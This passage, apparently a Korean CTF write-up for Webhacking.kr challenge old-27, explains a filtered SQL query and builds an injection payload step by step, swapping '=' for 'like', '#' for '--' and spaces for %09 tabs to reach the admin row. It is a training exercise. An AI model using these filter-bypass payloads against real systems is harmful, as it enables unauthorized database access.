Webhacking.kr old-27
Webhacking.kr 27번 문제 화면
이 문제도 Webhacking.kr 18번과 비슷하게 SQL Injection을 이용한 문제이다.
이 문제도 소스코드 먼저 읽어주었다.
if($_GET['no']){ //get방식으로 no를 입력받고
$db = dbconnect(); //파일과 DB를 연결한다.
if(preg_match("/#|select|\(| |limit|=|0x/i",$_GET['no'])) exit("no hack"); //위의 문자들(select, limit 등)이 입력되면 필터링을 하고 no hack을 출력하며 종료한다.
$r=mysqli_fetch_array(mysqli_query($db,"select id from chall27 where id='guest' and no=({$_GET['no']})")) or die("query error"); //chall27 테이블에서 입력받은 no의 id를 가져오는데, id가 guest가 아니면 query error를 출력하고 종료한다.
if($r['id']=="guest") echo("guest"); //id가 guest라면 guest를 출력한다.
if($r['id']=="admin") solve(27); //id가 admin이라면 문제를 해결할 수 있다.
그리고 주석에서 admin's no는 2라는 것을 알려준다.
이 문제는 주석을 이용해 뒷 부분의 die("querry error"); 부분을 날려버리면 될 것이다.
입력창에 1을 입력해주었더니 guest라는 문구가 떴다.
guest's no = 1 이라는 것을 알 수 있다.
문제의 소스코드를 다시 보면
"select id from chall27 where id='guest' and no=({$_GET['no']})"
첫 부분의 no에서는 괄호가 열려있기 때문에 0) 이런식으로 시작해주어야할것이다.
그래서 0) or no = 2를 넣어준다면
"select id from chall27 where id='guest' and no=(0) or no = 2)")) or die("query error");
가 되어 괄호 하나가 남게 된다.
그렇다면 0) or no = (2 를 넣어줄 수도 있지만, ( 또한 필터링처리 된다.
그렇기 때문에 2 뒤의 부분들을 주석으로 날려주려고 한다.
하지만 주석에서 사용되는 # 또한 필터링되어있다.
그렇다면 # 대신에 --를 사용할 수 있을 것이다.
"select id from chall27 where id='guest' and no=(0) or no = 2 -- )")) or die("query error");
등호 또한 필터링 되어있기 때문에 등호 대신에 like를 사용할 수 있다.
"select id from chall27 where id='guest' and no=(0) or no like 2 -- )")) or die("query error");
공백도 필터링 되어있기 때문에 공백 부분들을 %09로 바꾸어준다.
"select id from chall27 where id='guest' and no=(0)%09or%09no%09like%092%09--%09)")) or die("query error");
(-- 뒤에 공백이 들어가지 않으면 주석처리가 되지 않기 때문에 이 부분을 주의해주어야한다.)
이렇게 만들어낸 쿼리를 url뒤에 붙이게 된다면